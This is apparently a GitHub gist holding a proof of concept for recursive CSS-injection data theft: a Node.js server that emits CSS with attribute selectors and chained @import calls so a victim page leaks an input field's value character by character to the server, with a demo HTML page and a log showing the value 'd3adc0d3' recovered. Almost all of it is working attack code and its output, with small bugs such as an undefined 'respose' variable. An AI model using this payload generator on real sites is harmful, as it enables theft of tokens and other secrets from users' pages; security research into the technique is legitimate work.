Skip to content

Instantly share code, notes, and snippets.

@Xvezda
Forked from cgvwzq/output.log
Created February 19, 2020 19:14
Show Gist options
  • Save Xvezda/2bd0110a770c5cc2af4049ea4a7b24ec to your computer and use it in GitHub Desktop.
Save Xvezda/2bd0110a770c5cc2af4049ea4a7b24ec to your computer and use it in GitHub Desktop.
Recursive CSS attribute leakeage
[+] Server is listening on 5001
...pre-payoad:
...post-payoad:
...pre-payoad: d
...post-payoad: 3
...pre-payoad: d3
...post-payoad: d3
...pre-payoad: d3a
...post-payoad: 0d3
...pre-payoad: d3ad
...post-payoad: c0d3
...pre-payoad: d3adc
...post-payoad: dc0d3
[+] END: d3adc0d3
const http = require('http');
const url = require('url');
const port = 5001;
const HOSTNAME = "http://localhost:5001";
const DEBUG = false;
var prefix = "", postfix = "";
var pending = [];
var stop = false, ready = 0, n = 0;
const requestHandler = (request, response) => {
let req = url.parse(request.url, url);
log('\treq: %s', request.url);
if (stop) return response.end();
switch (req.pathname) {
case "/start":
genResponse(response);
break;
case "/leak":
response.end();
if (req.query.pre && prefix !== req.query.pre) {
prefix = req.query.pre;
} else if (req.query.post && postfix !== req.query.post) {
postfix = req.query.post;
} else {
break;
}
if (ready == 2) {
genResponse(pending.shift());
ready = 0;
} else {
ready++;
log('\tleak: waiting others...');
}
break;
case "/next":
if (ready == 2) {
genResponse(respose);
ready = 0;
} else {
pending.push(response);
ready++;
log('\tquery: waiting others...');
}
break;
case "/end":
stop = true;
console.log('[+] END: %s', req.query.token);
default:
response.end();
}
}
const genResponse = (response) => {
console.log('...pre-payoad: ' + prefix);
console.log('...post-payoad: ' + postfix);
let css = '@import url('+ HOSTNAME + '/next?' + Math.random() + ');' +
[0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f'].map(e => ('input[value$="' + e + postfix + '"]{--e'+n+':url(' + HOSTNAME + '/leak?post=' + e + postfix + ')}')).join('') +
'div '.repeat(n) + 'input{background:var(--e'+n+')}' +
[0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f'].map(e => ('input[value^="' + prefix + e + '"]{--s'+n+':url(' + HOSTNAME + '/leak?pre=' + prefix + e +')}')).join('') +
'div '.repeat(n) + 'input{border-image:var(--s'+n+')}' +
'input[value='+ prefix + postfix + ']{list-style:url(' + HOSTNAME + '/end?token=' + prefix + postfix + '&)};';
response.writeHead(200, { 'Content-Type': 'text/css'});
response.write(css);
response.end();
n++;
}
const server = http.createServer(requestHandler)
server.listen(port, (err) => {
if (err) {
return console.log('[-] Error: something bad happened', err);
}
console.log('[+] Server is listening on %d', port);
})
function log() {
if (DEBUG) console.log.apply(console, arguments);
}
<!doctype html>
<body>
<div><article><div><p><div><div><div><div><div>
<input type="text" value="d3adc0d3">
<style>
@import url('//localhost:5001/start?');
</style>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment